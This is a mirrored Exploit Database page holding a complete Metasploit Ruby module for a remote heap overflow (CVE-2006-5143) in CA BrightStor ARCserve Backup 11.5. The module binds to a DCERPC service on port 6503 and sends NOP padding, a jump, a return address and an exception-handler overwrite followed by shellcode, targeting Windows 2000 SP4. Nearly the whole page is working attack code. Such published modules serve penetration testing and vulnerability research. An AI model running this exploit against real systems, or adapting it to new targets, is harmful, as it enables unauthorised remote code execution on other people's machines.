CA BrightStor ARCserve – Message Engine Heap Overflow (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16401/

• ##
  # $Id: message_engine_heap.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::DCERPC
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',
  			'Description'=> %q{
  					This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
  				11.5. By sending a specially crafted RPC request, an attacker could overflow the
  				buffer and execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-5143' ],
  					[ 'OSVDB', '29533' ],
  					[ 'BID', '20365' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 800,
  					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
  				],
  			'DisclosureDate' => 'Oct 05 2006',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(6503)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  		print_status("Binding to #{handle} ...")
  
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		# straight forward heap stuffz
  		sploit =make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
  		sploit << [ target['UEF'] ].pack('V') + payload.encoded
  
  		print_status("Trying target #{target.name}...")
  
  			begin
  				dcerpc_call(43, sploit)
  				rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  			end
  
  		handler
  		disconnect
  	end
  
  end